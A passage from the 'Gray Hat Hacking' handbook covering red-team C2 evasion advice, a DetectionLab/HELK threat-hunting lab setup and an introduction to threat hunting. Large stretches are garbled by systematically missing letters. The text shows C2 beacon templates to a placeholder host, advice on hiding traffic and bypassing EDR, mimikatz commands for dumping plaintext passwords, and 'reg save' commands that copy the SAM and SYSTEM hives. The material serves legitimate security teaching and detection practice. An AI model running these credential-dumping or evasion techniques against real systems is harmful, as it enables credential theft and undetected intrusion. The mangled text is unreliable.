ll of he conens my e cple of eing encryped (for exmple, for HTTP, he hed-
ers cn’ e encryped). However, he ody of he conen nd res like cookies cn e
encryped. Encryping his d mens h even if TLS is inerceped, he conens of
wh is eing sen ck nd forh in he C2 sysem re no immediely rnspren,
nd eing le o deermine wh cions re eing ken y he C2 sysem re hrder
o deermine.
When picking encrypion, mke sure you choose well-known encrypion schemes nd
no somehing sic like XOR-sed encrypion, ecuse cerin encrypion schemes
like XOR cn e vulnerle o known plinex cks. Things like he hosnme lmos
lwys pper in he firs pr of rnscion. By choosing eer encrypion scheme,
such s AES or RC4, you ensure he d is much more secure nd mke i hrder o
mper wih or figure ou he rffic wihou hving our cul shellcode.
Alternate Protocols
In ddiion o encrypion, some proocols hve eer nlysis hn ohers. Proocols
like HTTP re well undersood nd hve mny hndlers h undersnd hem. Oher
proocols my hve differen inspecion crieri, nd mixing proocols for single
C2 sysem my help furher confuse defenders. For insnce, DNS is noher common
proocol o use, s mny orgnizions don’ hve good monioring or nlyics for DNS.
However, DNS is incredily noisy, so i my e eer used for check-ins nd signling
hn for sending lrge mouns of d. Comining DNS wih noher proocol such
Gray Hat Hacking: The Ethical Hacker’s Handbook
148
s Rel-Time Sreming Proocol (RTSP) or WeSockes will men h muliple d
poins will hve o e nlyzed o ge full picure of wh your C2 sysem is doing. By
using profiles h use round-roin for hosnmes, we cn cuse defenders o lso hve
o find ll of he hosnmes h compromised sysem is using o undersnd he fre-
quency nd volume of he rffic leving he orgnizion.
Picking proocols h nework devices my hve hndlers for h re well docu-
mened will furher increse your chnces for success. Perimeer conrols migh only
pss rffic h hey undersnd, so using compleely cusom C2 proocol migh e
locked ecuse here ren’ hndlers in he nework devices o del wih h specific
ype of rffic.
C2 Templates
C2 sysems frequenly llow emples for communicion. Since HTTP is he mos
common proocol for C2 communicion, i’s imporn o undersnd where es o
plce d when creing emples for communicions. Temples se up he locions
where d will e plced when sending nd receiving d wih he C2 sysem. For
insnce, mny C2 sysems will llow GET reques for check-ins nd rerieving
commnds o run s well s POST requess for sending d ck. A smple GET reques
migh look like his:
GET /ping.php?id=<C2 ID> HTTP/1.1
Host: c2.derp.pro
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Here we see h he ID for he C2 server my e included in he URI line. This would
e esy o see nd mch up he differen hoss involved. So while his simple formul
is common, i would e eer o plce he vlues in cookie. Cookies ren’ logged on
ll proxies, nd hey ren’ he firs hing folks look in repors nd herefore require
ddiionl digging o see.
For sending d, mny people use POST requess ecuse he d is in he pylod.
How h d is represened my ke some hough. A very sic profile migh look
like his:
POST /pong.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Host: www.derp.pro
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
PART II
mke i lend in even eer. Overll, picking relisic-looking profile nd hen using
he sme heders h regulr user on sysem use will give you eer chnce of
voiding deecion.
EDR Evasion
Endpoin deecion nd response (EDR) is ecoming more common in corpore envi-
ronmens. EDR ypiclly looks he ehvior of inries on he sysem y insru-
mening processes wih hooked APIs so h i cn wch differen ehviors nd ssess
wheher or no hey re risky. Differen producs hook APIs in differen wys, u hey
lso differ in every deploymen. The seings nd excepions h ech orgnizion hs
my e differen.
In ddiion, he proecions for he EDR soluion iself my e differen. Mos EDR
soluions hve oh deecion nd locking mode. Depending on he se of he
EDR, your ess my or my no e locked, even hough hey re lering.
Summary
Commnd nd conrol nd shellcode lunchers re wo key ools red ems nd ehicl
hckers will need o hve grsp of. C2 producs le us conrol hos remoely s well
s perform pos-exploiion sks more esily. The lunchers help us ge our C2 gens
on o sysems. Undersnding his s well s how o uild srong nework evsion pro-
files nd ypss EDR nd AV on sysem cn help us ge our ooling ono sysems nd
keep i from eing deeced nd miiged. The longer we re on sysem wihou eing
deeced, he greer he chnce our sks will e successful.
PART II
.lckh.com/docs/eu-17/merils/eu-17-Thompson-Red-Tem-Techniques-For-
Evding-Bypssing-And-Disling-MS-Advnced-Thre-Proecion-And-Advnced-
Thre-Anlyics.pdf
This page intentionally left blank
Building a
Threat Hunting Lab
CHAPTER
8
In this chapter, we cover the following topics:
• Threat hunting and labs
• Basic threat hunting lab: DetectionLab
• Extending your lab with HELK
Wha is a ha huig lab? Tha huig will b covd i h x chap, bu
ssially i is h sysmaic huig of has ha a o ohwis appa i h
wok hough h us of chologis such as SIEM, IDS, IPS, ad so o. I od o
la his vial skill s, you will d a saf viom i which o play—a lab vi-
om wih all h quid ools isalld, i a auomad dploym, ha may b
s up ad o dow quickly. To his d, w will xplo h las ad bs opios fo
you ha huig lab.
153
Gray Hat Hacking: The Ethical Hacker’s Handbook
154
Fis, DcioLab,1 cad by Chis Log (clog), is wll suppod by sval
dvlops ad offs h wids slcio of ools ad auomad opios fo isallaio
o a local hos, via sval opaig sysms, ad i h cloud. Scod, h HELK2 poj-
c, alog wih associad pojcs such as Modo,3 OSSEM,4 ad Th ThaHu-
Playbook,5 is wll suppod by h Rodiguz bohs (Robo ad Jos) ad may
oh dvlops (Op Tha Rsach Fog)6 ad is woh ou cosidaio ad us.
Th mai diffc bw hs wo pojcs is ha DcioLab is a compl lab
viom, wih all h quid ools, bu i’s focusd o Spluk. HELK, o h oh
had, is o a compl lab viom. Isad, i is a aalyic plafom (basd o
Elasicsach7 ad ools) ha may augm you xisig lab viom. Also, b su
o chck ou Blacksmih ad SimuLad i h “Fo Fuh Radig” scio. Boh po-
vid cloud-oly lab vioms. Howv, if you a lookig fo h mos flxibiliy,
ad h opio o isall locally, you should go wih DcioLab. Fially, a umb of
oh auomad labs a woh mioig, bu hy a lss suppod, so hy could
hav issus ha a o addssd. Thos oh pojcs a lisd i h “Fo Fuh
Radig” scio of his chap.
Prerequisites
Agai, i his chap, w a goig o us h vabl DcioLab by Chis Log
(clog), augmd wih HELK ad Modo by Robo Rodiguz (Cyb3Wad0g).
Th pquisis a as follows:
I his fis lab, w will isall h ha huig lab o ou ow hos. I his cas, w
will us Widows, bu as you ca s fom h pquisis, all opaig sysms a
suppod. If you don’t have the necessary resources available or don’t want to install the lab
on your host but in the cloud instead, skip the rest of this lab.
Fis, fom you hos, dowload ad isall ViualBox,8 which is usd wih Vaga
PART II
o lauch h imags.
Th dfaul sigs wihi ViualBox will do. Th is o d o u ViualBox
af isallaio, h Vaga scips will do ha fo us.
Nx, if you a o Widows (lik m) ad hav o isalld gi y, dowload ad
isall i ow.9 Th, lauch gi bash o wok wih gi ad chag o h c:/ oo dicoy:
$cd /c/
NOTE If you don’t have 16GB of RAM, or if you have some large applications
already running, these labs won’t work. VirtualBox is unstable when you fully
use the RAM of a system. If that happens to you, you will need to build your
labs in the cloud (see Lab 8-2).
Eih wihi you gi bash o PowShll, chag o h DcioLab/Vaga fold
ad h di h Vagafil (o add mo RAM o h logg fo HELK) as follows. Th
bold lis i h cod show you wh o look i h cofig fil; oh bold lis show
you wha o chag.
…
cfg.vm.provider "virtualbox" do |vb, override|
vb.gui = true
vb.name = "logger"
vb.customize ["modifyvm", :id, "--memory", 8192]
…
cfg.vm.provider "virtualbox" do |vb, override|
vb.gui = true
vb.name = "dc.windomain.local"
vb.default_nic_type = "82545EM"
vb.customize ["modifyvm", :id, "--memory", 2048]
…
cfg.vm.provider "virtualbox" do |vb, override|
vb.gui = true
vb.name = "wef.windomain.local"
vb.default_nic_type = "82545EM"
vb.customize ["modifyvm", :id, "--memory", 1024]
…
cfg.vm.provider "virtualbox" do |vb, override|
vb.gui = true
vb.name = "win10.windomain.local"
vb.default_nic_type = "82545EM"
vb.customize ["modifyvm", :id, "--memory", 2048]
vb.customize ["modifyvm", :id, "--graphicscontroller", "vboxsvga"]
PART II
load all of h viual machis, bu you oly hav o do his oc.
PS C:\DetectionLab\Vagrant> vagrant up
…truncated for brevity…
Af h PowShll scip compls, chck ha all sysms a uig as idd:
PS C:\DetectionLab\Vagrant> .\post_build_checks.ps1
[*] Verifying that Splunk is reachable...
[ √ ] Splunk is running and reachable!
If you u io ay issus alog h way, chck ou h oublshooig ad kow
issus pag.11
If you do’ hav 16GB of RAM availabl, you will wa o us h cloud. Fo his lab,
w will us Azu. As a bous, h is a $200 cdi fo sigig up12 ha mus b usd
wihi fis 30 days, which is ply of im o kick h is ad s if you wa o us h
lab log m. If you pf o us AWS, howv, h DcioLab GiHub posioy
has asy isallaio isucios fo ha as wll.
CAUTION It should go without saying that the cloud is not free, and if you
use it beyond any credits you may have, you will incur substantial fees. The
good news is that you can shut down your images when you don’t need
them to save costs. You have been warned.
Gray Hat Hacking: The Ethical Hacker’s Handbook
158
To chag higs up, his im w will lauch ou cloud isacs fom a Mac hos.
Agai, ay hos is suppod; you jus d o f o h DcioLab si fo oh
opaig sysms. To u his lab o h cloud (Azu), fis isall Bw,13 Tafom,14
Asibl,15 ad h Azu CLI ools:16
% /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/
install/HEAD/install.sh)"
% brew install terraform
% brew install ansible
% brew install azure-cli
Copy h xampl fvas fil ad di i o iclud you IP (whaismyip.com) ad you
us fil locaio ifomaio:
% c p t e r r a f o r m. t f v a r s . e x a mp l e t e r r a f o r m. t f v a r s
Edi h fil wih you favoi dio. Agai, b su o upda h ip_whilis vai-
abl, as wll as you public ad piva ky locaios, chagig “/hom/us” o h loca-
io of h kyg oupu show. If you skip his sp, you will b lockd ou of h labs,
as oly h IP fom h whilis may accss h labs.
NOTE If in the future you change your IP, be sure to go to the Azure portal,
search for “Network Security Groups” at the top, find your security group,
and change your IP there on the inbound rules.
Nx, di h mai.f fil o chag h siz of h Liux sysm (o accommoda
la sps). Sach h mai.f fil fo h followig scio ad su h las li is
chagd fom D1 o D2, as show:
# Linux VM
resource "azurerm_virtual_machine" "logger" {
name = "logger"
location = var.region
resource_group_name = azurerm_resource_group.detectionlab.name
network_interface_ids = [azurerm_network_interface.logger-nic.id]
vm_size = "Standard_D2_v2"
Now, s up you Azu accou if you hav o alady. If you alady hav a f
accou h, o a askd duig sig up, you will d o slc Pay As You Go, as
his opio is quid o lif h CPU quoa ad allows you o u h quid siz
ad umb of machis fo his lab. A h im of his wiig, you will sill g h
$200 cdi fo us i h fis moh (fo xampl, my sig showd abou $12.16
a day wh dvlopig his lab). So as log as you shu dow h labs wh you’
o usig hm, you should g ply of us fo ha $200 cdi. Rmmb, as
Chapter 8: Building a Threat Hunting Lab
159
sad ali, you hav o b awa of h cos byod ha $200 cdi ad moio
i accodigly.
NOTE If you forget to select Pay As You Go or get the following error later,
you will need to go into billing and upgrade to Pay As You Go:
❘ Error: compute.VirtualMachinesClient#CreateOrUpdate: Failure sending
request: StatusCode=0 – Original Error: autorest/azure: Service returned
an error. Status=<nil> Code=“OperationNotAllowed” Message=“Operation
PART II
could not be completed as it results in exceeding approved Total Regional
Cores quota. Additional details … Please read more about quota limits at
https://docs.microsoft.com/en-us/azure/azure-supportability/regional-
quota-requests.”
Nx, o auhica wih you w Azu accou, u h followig commad,
which will lauch a wbsi fo you o auhica o Azu:
% az login
Nx, ca a SSH ky ha ca b usd by Tafom o maag you Logg (Liux)
sysm, as show x. B su o giv h w ky a passwod.
% ssh-keygen -t rsa -f ~/.ssh/id_logger
Th, so h ky i ssh-ag (o ha Tafom ds o accss h ky wihou
a passwod, ad ssh-ag abls ha):
% ssh-agent
% ssh-add ~/.ssh/id_logger
Fially, you ca lauch h labs fom h commad li usig h followig cod.
NOTE This command will take a while to complete (couple hours), so take a
break after you launch it.
Terraced
Gray Hat Hacking: The Ethical Hacker’s Handbook
160
Now, you ca viw h oupu fom h scips o s you IP addsss:
% terraform output
ata_url = https://52.250.17.114
dc_public_ip = "52.250.56.150"
fleet_url = https://52.250.56.143:8412
guacamole_url = http://52.250.56.143:8080/guacamole
logger_public_ip = "52.250.56.143"
region = "westus2"
splunk_url = https://52.250.56.143:8000
velociraptor_url = https://52.250.56.143:9999
wef_public_ip = "52.250.17.114"
win10_public_ip = "52.250.52.139"
You a almos do! You d o compl h povisioig of h WEF, Wi10, ad
DC. To do ha, fis chag o h Asibl dicoy:
% cd ../Ansible
Now di h ivoy.yml fil wih you favoi dio o upda h x.x.x.x IP
valus of ach hos, usig you public_ip valus fom h Tafom oupu commad.
B su o o mov idaios, as hy a impoa.
Th, u h Asibl playbook, fis sig a viom vaiabl o wok aoud
a bug o macOS wih Asibl:
% export no_proxy='*'
% ansible-playbook -v detectionlab.yml
No ma if you s up you lab o you hos as pa of Lab 8-1 o i h cloud wih
Lab 8-2, you may ow sa o op up h ools availabl ad ak a look aoud. Th
IPs ad URLs a lisd i Lab 8-2. Th cdials fo h lab ools ad h IPs fo
h local hos-basd labs may b foud a hps://www.dciolab.wok/imags/
lab.pg. (I is impoa o o ha fo local hos-basd labs, you will oly b abl o
accss hos ools fom h hos islf, as hos-oly accss is povidd via h1.) You will
fid oh ools, alady isalld, lisd a hps://www.dciolab.wok/usag/.
Tak a mom o pok aoud.
NOTE If one of your host-based labs hangs, which is common with VirtualBox,
you can simply close it by selecting Power Down and then running vagrant
reload [dc|wef|win10|logger] (selecting the hanging VM) from your
command line. In my testing, I noticed that even if I brought down a host
forcefully, initially the reload command would complain of a locked VM, but
after a few moments, the Vagrant script would reconnect and restart it.
Chapter 8: Building a Threat Hunting Lab
161
Extending Your Lab
Th DcioLab alady coms wih mos of h ools you will d, bu w will add a
fw, as dscibd i h followig scios.
HELK
Th Huig vsio of ELK, HELK, was dvlopd by Robo Rodiguz. Robo
ad his boh Jos hav poud hi livs io scuiy sach ad ally hav mad a
PART II
diffc i ou fild. This auho is hakful fo hi coibuios ad hop o sha
som of ha goodss wih you i his chap ad h x. Th mai si fo HELK is
hps://gihub.com/Cyb3Wad0g/HELK.
You ca isall HELK fom you Logg (Liux) mial. If you hav h cloud-basd
lab, you ca us h followig commad:
% ssh -i ~/.ssh/id_logger vagrant@[logger_public_ip address above]
Ohwis, if you hav a local build of h lab, you ca accss h SSH shll via
Vaga (fom you admiisao PowShll):
PS C:\DetectionLab\Vagrant> vagrant ssh logger
Fo cloud-basd labs, h IP will b s fo you auomaically. Fo hos-basd labs, b
su o chck h IP fo h1 fis, mak o of i, ad us i i h scip wh you’
askd fo a IP:
vagrant@logger:~/HELK/docker$ ifconfig eth1
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.38.105 netmask 255.255.255.0 broadcast 192.168.38.255
Gray Hat Hacking: The Ethical Hacker’s Handbook
162
Now, isall HELK:
vagrant@logger:~/HELK/docker$ sudo ./helk_install.sh
***********************************************
** HELK – THE HUNTING ELK **
** **
** Author: Roberto Rodriguez (@Cyb3rWard0g) **
** HELK build version: v0.1.9-alpha10082020 **
** HELK ELK version: 7.6.2 **
** License: GPL-3.0 **
***********************************************
[HELK-INSTALLATION-INFO] HELK hosted on a Linux box
[HELK-INSTALLATION-INFO] Available Memory: 6540 MBs
[HELK-INSTALLATION-INFO] You're using ubuntu version bionic
*****************************************************
* HELK – Docker Compose Build Choices *
*****************************************************
1. KAFKA + KSQL + ELK + NGINX
2. KAFKA + KSQL + ELK + NGINX + ELASTALERT
3. KAFKA + KSQL + ELK + NGINX + SPARK + JUPYTER
4. KAFKA + KSQL + ELK + NGINX + SPARK + JUPYTER + ELASTALERT
If you followd h pvious cloud isucios, slc opio 2, as show x. La,
you may xpim wih h oh opios; hy a ga bu o dd fo his chap.
Enter build choice [ 1 – 4]: 2
[HELK-INSTALLATION-INFO] Set HELK IP. Default value is your current IP:
192.168.38.105
[HELK-INSTALLATION-INFO] HELK IP set to 192.168.38.105
[HELK-INSTALLATION-INFO] Please make sure to create a custom Kibana password
and store it securely for future use.
[HELK-INSTALLATION-INFO] Set HELK Kibana UI Password: hunting
[HELK-INSTALLATION-INFO] Verify HELK Kibana UI Password: hunting
[HELK-INSTALLATION-INFO] Installing htpasswd..
[HELK-INSTALLATION-INFO] Installing docker via convenience script..
[HELK-INSTALLATION-INFO] Assessing if Docker is running..
[HELK-INSTALLATION-INFO] Docker is running
…truncated for brevity…
****************************************************************************
** [HELK-INSTALLATION-INFO] HELK WAS INSTALLED SUCCESSFULLY
** [HELK-INSTALLATION-INFO] USE THE FOLLOWING SETTINGS TO INTERACT WITH THE
HELK
****************************************************************************
IT IS HUNTING SEASON!!!!!
You can stop all the HELK docker containers by running the following command:
[+] sudo docker-compose -f helk-kibana-analysis-alert-basic.yml stop
Chapter 8: Building a Threat Hunting Lab
163
Now, lauch a bows ad accss h HELK (Kibaa) cosol, ih wih h IP
show i h pvious cod (if you buil you lab locally) o wih h cloud public addss
(if you’ usig h cloud). Sic w a usig a hos-basd lab i his scio, w will us
h IP hps://192.168.38.105.
PART II
Lab 8-5: Install Winlogbeat
I od o g logs o Logsash, ad ulimaly o h Kibaa dashboad show i h
pvious illusaio, you d o isall bas (ha is, filba, packba, wilog-
ba, ad ohs). Fo ou puposs, w a isd i Widows fil logs, so w will
us wilogba. Usig ih you Guacamol mial (hp://192.268.38.105:8080/
guacamol) fo h hos-basd lab o RDP fo h cloud lab, coc o you WEF sv
ad h dowload ad isall wilogba fom hps://www.lasic.co/dowloads/
bas/wilogba.
Uzip ha wilogba.x.zip fil o c:\pogam fils\ ad am h uzippd fold
o c:\pogamfils\wilogba.
Th, fom ha WEF sv, op h followig fil fom a bows ad sav i ov
h dfaul wilogba.yml fil i h c:\pogamfils\wilogba\ fold:
https://raw.githubusercontent.com/GrayHatHacking/GHHv6/main/ch08/winlogbeat.yml
Nx, isall ad sa h svic fom PowShll usig admiisao accss:
PS C:\Windows\System32> cd "C:\Program Files\Winlogbeat"
PS C:\Program Files\Winlogbeat> powershell.exe -ExecutionPolicy UnRestricted
-File
.\install-service-winlogbeat.ps1
Start-Service winlogbeat
Gray Hat Hacking: The Ethical Hacker’s Handbook
164
Now, chck h Svics pal ad su h svic is uig, as show x.
Back i h Kibaa dashboad, if you click h Discov ico locad alog h lf
sid (h scod ico dow), you should s w daa fom wilogba, as show x.
Idx pas a usd by Kibaa o accss daa wihi Elasicsach. I spcifis h
goupigs of daa (o sach) ad how h filds a dfid (hough popis). W will
dmosa how o ca idx pas ad h how o us Kibaa fo basic quis.
Chapter 8: Building a Threat Hunting Lab
165
Index Patterns
I is of usful o ca you ow idx pas i Elasicsach. Sa by slcig h
Kibaa logo i h upp-lf co o go o h hom pag. Th scoll dow som ad
slc Idx Pas:
PART II
Nx, slc h Ca Idx Pa buo o h igh:
Th, compl sp 1 of 2 by filig o h availabl log soucs. I ou xampl,
w will jus ca a mas idx of all logs bgiig wih “log”. Typ log* i h idx
pa fild h click Nx Sp:
Gray Hat Hacking: The Ethical Hacker’s Handbook
166
Nx, compl sp 2 of 2 by idicaig wha fild o coduc im-basd fils o.
Slc @imsamp o kp i simpl. Slc h dop-dow fo Advacd Opios ad
giv you w idx a am. I his cas, w calld i logs* Gay Ha. Th click Ca
Idx Pa.
Jus lik ha, w hav ou ow idx. This may o hav smd impssiv, paicu-
laly giv ha Elasicsach alady cad a idx fo us calld logs-*. Howv, i h
fuu you may wa o ca you ow idxs (fo xampl, ov a small s of log
soucs o fo a paicula day o wk’s woh of logs) i od o spd up you sachs,
as you alady hav a subs of daa idxd.
Basic Queries
To hlp you la o quy Kibaa (h us ifac of Elasicsach), l’s giv i som-
hig isig o fid. Op you Wi10 hos, ih fom h Guacamol wb i-
fac, dicly o h VM (fo hos-basd labs), o via RDP (if you’ usig a cloud lab).
Fom h Wi10 hos, op Explo ad aviga o h c:\uss\vaga\ools fold,
as show x:
Doubl-click h mimikaz.x fil. This pogam allows you o display h pass-
wods of h uss o h sysm, i plaix. Typ h followig commads i h
Mimikaz cosol:
log
privilege::debug
sekurlsa::logonpasswords
Chapter 8: Building a Threat Hunting Lab
167
PART II
Now, back o you Kibaa wb pag, you should b abl o s h v by yp-
ig mimikatz.exe i h op sach pal of h Discov pag, wih Las 15 Mius
slcd as h imfam o h igh:
Now w ca do b ha ha; w ca us h filds wihi h log o fid i ha way.
I h op sach fild, yp process.name:"mimikatz.exe" and event_id:1 ad pss
enter. You should s h sam suls. O h lf sid of h sc, slc h dow
aow x o h logs* labl ad slc ou idx, logs* Gay Ha. You should sill s
h sam sul. Now h is much mo o la abou Kibaa ad Elasicsach, bu
hs a h basics you d o kow fo ow. W will pick up a fw mo icks i h
x chap.
Gray Hat Hacking: The Ethical Hacker’s Handbook
168
Modo was cad by… you gussd i, Robo ad Jos Rodiguz. Agai, w ow
hos guys a db of gaiud. Modo is a collcio of daa ss suoudig APT aciv-
iy. Ys, you ca dowload h daa ss ad pacic fidig al APTs i you lab. W
will isall i h ad h play wih i i h x chap.
Follow h isucios o GiHub fo dowloadig ad isallig Modo daa ss
(hps://gihub.com/OTRF/modo), saig wih h kafkaca dpdcy:
vagrant@logger:~/HELK/docker$ sudo apt install kafkacat
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following package was automatically installed and is no longer required:
linux-headers-4.15.0-140
…truncated for brevity…
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...
Processing triggers for libc-bin (2.27-3ubuntu1.4) ...
Now, dowload ad isall Modo daa ss fom wihi you lab viom
(Logg hos):
vagrant@logger:~$ git clone https://github.com/Cyb3rWard0g/mordor.git
Cloning into 'mordor'...
remote: Enumerating objects: 13577, done.
remote: Counting objects: 100% (2678/2678), done.
remote: Compressing objects: 100% (718/718), done.
remote: Total 13577 (delta 2079), reused 2456 (delta 1884), pack-reused 10899
Receiving objects: 100% (13577/13577), 333.00 MiB | 33.55 MiB/s, done.
Resolving deltas: 100% (9428/9428), done.
Checking out files: 100% (647/647), done.
vagrant@logger:~$ cd mordor/datasets/compound/apt29/day1
vagrant@logger:~/mordor/datasets/compound/apt29/day1$ ls
README.md apt29_evals_day1_manual.zip pcaps zeek
Af h kafkaca ool compls (20 mius o so), op Kibaa ad adjus h
Discov pag, sig h imfam o Ja 1, 2020 uil ow. You should s vs
fom h middl of 2020. Agai, w will pick up h hu i h x chap.
PART II
Summary
I his chap, w discussd how o s up a ha huig lab. W usd Chis Log’s
DcioLab ad augmd i wih ools fom Robo ad Jos Rodiguz. W p-
sd wo mhods of isallaio: o o you local hadwa ad h oh i h
cloud. W also xdd h lab o us HELK ad Modo. Fially, w walkd hough
som basics wih Kibaa o quy Elasicsach. W will us his lab i h x chap
o la ha huig. S you h.
References
1. C. Log, clog/DcioLab (2021), hps://gihub.com/clog/DcioLab
(accssd Ju 4, 2021).
2. R. Rodiguz, Cyb3Wad0g/HELK (2021), hps://gihub.com/Cyb3Wad0g/
HELK (accssd Ju 4, 2021).
3. OTRF/modo. Op Tha Rsach Fog (2021), hps://gihub.com/
OTRF/modo (accssd Ju 4, 2021).
4. OTRF/OSSEM. Op Tha Rsach Fog (2021), hps://gihub.com/
OTRF/OSSEM (accssd Ju 4, 2021).
5. OTRF/ThaHu-Playbook. Op Tha Rsach Fog (2021),
hps://gihub.com/OTRF/ThaHu-Playbook (accssd Ju 4, 2021).
6. “Op Tha Rsach Fog,” GiHub, hps://gihub.com/OTRF
(accssd Ju 4, 2021).
7. “ELK F ad Op Sach: Th Caos of Elasicsach, ELK & Kibaa |
Elasic.” hps://www.lasic.co/ (accssd Ju 4, 2021).
8. “Dowloads – Oacl VM ViualBox.” hps://www.viualbox.og/wiki/
Dowloads (accssd Ju 4, 2021).
9. “Gi Commad Li Tools – Dowloads.” hps://gi-scm.com/dowloads
(accssd Ju 4, 2021).
10. Vaga, HashiCop, hps://www.vagaup.com/ (accssd Ju 4, 2021).
11. “Toublshooig & Kow Issus :: DcioLab.” hps://www.dciolab
.wok/dploym/oublshooig/ (accssd Ju 4, 2021).
12. “Ca you Azu f accou oday | Micosof Azu.” hps://azu.micosof
.com/-us/f/ (accssd Ju 4, 2021).
Chapter 8: Building a Threat Hunting Lab
171
13. “Hombw,” Hombw, hps://bw.sh/ (accssd Ju 19, 2021).
14. “Dowload Tafom,” Tafom by HashiCop, hps://www.afom.io/
dowloads.hml (accssd Ju 4, 2021).
15. “Isallig Asibl – Asibl Documaio,” hps://docs.asibl.com/asibl/
las/isallaio_guid/io_isallaio.hml (accssd Ju 4, 2021).
16. dbadish-micosof, “How o isall h Azu CLI,” hps://docs.micosof.com/
-us/cli/azu/isall-azu-cli (accssd Ju 4, 2021).
PART II
This page intentionally left blank
Introduction
to Threat Hunting
CHAPTER
9
In this chapter, we cover the following topics:
• Threat hunting basics
• Normalizing data sources with OSSEM
• Data-driven hunts using OSSEM
• Hypothesis-driven hunts using MITRE ATT&CK
• The Mordor project
• The Threat Hunter Playbook
Wa a ug? Ta ug bad o aumpo a a advay
alady wok ad you d o ack m dow. T a opc a qu
qu a b o kowldg abou () ow adva opa ad () ow ym opa
omally ad w ud aack. To, a opc a cao b covd ully
cap. Howv, w am o gv you a ovvw o bac, om wc you
ca xpad ov m.
• Il-dv u
• Daa-dv u
• Hypo-dv u
Intel-Driven Hunts
Il-dv u a gudd by cyba llgc ad dcao o compo-
m dvd om op ad clod ouc llgc. Fo xampl, a l a may b
a dcao o compom, ad ’ wo cckg o xc o a l aco
vom. Fu, acc, cqu, ad pocdu (TTP) o pacula
a aco a o o ay a u, ad a o oud llgc
po ad om omao ad by o. Howv, w wll o ocu o yp
o ug, a cqu dployd a ud o, ad cao.
Data-Driven Hunts
Daa-dv u a pomd by acg o aomal moud o daa
w a ogazao. T b way o pom yp o u by ug a
aalyc plaom, uc a Spluk o Elacac, o cu oug ayack o daa,
lookg o dl. Fu, adoal Scuy Iomao Ev Maag-
m (SIEM) dvc a valuabl ag po o daa-dv u. Howv, a a
u wll lkly ougow capably o v b SIEM avalabl, paculaly
w y a o pom ad ou jo o dpaa daa ouc, cludg
uucud daa ouc, wc dcul o mpobl o mo SIEM. W wll
xplo daa-dv u cap.
Hypothesis-Driven Hunts
A you wll call om Cap , a op o pyamd o pa TTP o a
advay. T bavo o a advay mo dcul g o dcov. T good
w a adva o pa wa wok, ad a po a gv u a
clu a o wa o look o w a gv advay goup. T MITRE ATT&CK am-
wok collco o may kow (publc) TTP ad a v b ud o d-
ca ca advacd p a (APT) goup’ acv. Ug amwok
a a ouc, w ca u ou magao ad buld a ypo o a advay’ aco
w a wok. Ay ypo may b d; by ug w av
pop daa ouc o ag bavo ad by buldg aalyc o ac o
a bavo a gv wok vom. Fally, w ca buld al o l u kow
w a bavo app uu. I way, w ca modcally wok ou way
oug MITRE ATT&CK amwok, buldg a covag map a w go. O ky
cocp a po o cogz a w wll o b ag mddl o
amwok, a w a aumg compom o a w. T, w dcov g o a
Chapter 9: Introduction to Threat Hunting
175
ypo bg u, w ca wok bo dco aco amwok: () o wok
owad ad d ulma dp o pao ad k o vom,
ad () o wok backwad o d ouc o bac ad o clo a ol gog
owad. W wll xplo yp o ug la cap a wll.
PART II
1. Pom a daa ouc voy, gap am, ad mdao o.
2. Dm yp o u o pom ad ac ca.
3. Eu you av daa qud o ay ac ca.
4. Pom ac.
TIP Emulate the threat as well as ensure the search and data are what’s
expected, before relying on the search results more generally.
5. Cck ul. I aack bavo oud, cou vgao ad oy
cd po (IR) am.
6. I aack bavo o oud, u o op. T ad pa.
Ta’ . Su, you wll d o la a lo dug poc abou ow you op-
ag ym you vom wok, ow log daa gad, amd, ad
od, ad ow a advay mov oug a wok, paculaly w y look lk
a omal u, bu a all pa o . I wll ak a wl, mayb v ya, bo you
bcom poc a a ug. So l’ bg ow!
Data Sources
T poblm w daa a ac dvc, opag ym, ad applcao (ouc)
poduc log a d oma. To mak ma wo, om vdo, uc a
Mcoo, av val om o loggg; o, dpdg o wa you a kg,
daa may vy wll b a oma a’ d om o log om a v-
do. Fo xampl, Mcoo o log Ev Vw (EVT), xpo API-lvl acc
o kl-lvl log va Ev Tacg o Wdow (ETW), ad may owad log va
Wdow Ev Fowadg (WEF) v. Fu, Mcoo povd a ool, Symo,
a povd ym-lvl log o poc, l, ad wok acv a lgwg
ma.1, 2 Eac o loggg mod, o mo ju a w, povd a d o-
ma. So, ow a w o omalz o log ouc, ad udd o o ouc,
o a acabl ad calabl oma?
PART II
wll apply o u o advaal bavo. To a w, w wll ak a look a ub-
cqu T003.00, OS Cdal Dumpg.5 T ub-cqu dcb ow a
advay may xac cdal omao om Wdow Scuy Accou Ma-
ag (SAM), om mmoy o om Wdow gy, w od. T
SAM a bg ag o aack, o obvou ao: coa local cdal o
o.
A xplad amwok, a umb o auomad ool may b ud o gab
SAM, o a mpl commad om admao’ commad-l wdow wll uc:
reg save HKLM\sam sam
reg save HKLM\system system
T Jupy obook allow o lv, acv pocg o Pyo, ad all
aocad lba, om covc ad ay o you bow. I wll ak a
mom o load up (’ a all, ak o gou doao o o ld a
op o pag). W load, you wll ollowg c. Clck
Gray Hat Hacking: The Ethical Hacker’s Handbook
178
gay block o cod ad clck Ru buo a op o p shift-enter o
poc a block o cod.
Go aad ad xcu x block o cod a wll. I wll ak a wl o u, a
MITRE ATT&CK cqu a pulld ad pad. Wl ug, you wll oc
a ak back ([*]) o l d o block o cod. W compl,
ak wll u o a umb pg block o cod. T head() commad
wll ow v m mappg, ag w 0, a ow x:
A a o wa, you ca cou by xcug x block() o cod (ac
xplad by a adg ad x po o block), wc u OSSEM o ow daa
ouc ad compo o T003.00 ub-cqu. Adju cod o o
T003.00, a ow x. T bauy o Jupy obook: y a dyamc
ad you ca xpm w m o la.
Chapter 9: Introduction to Threat Hunting
179
H, w ca commad, gy, ad l daa ouc a uul dcg
commad xcuo, Wdow gy ky acc, ad l acc, pcvly.
Now mody x block o cod o oc aga p T003.00
ub-cqu.
PART II
Now w v ID ud o d acvy aocad w T003.00 ub-
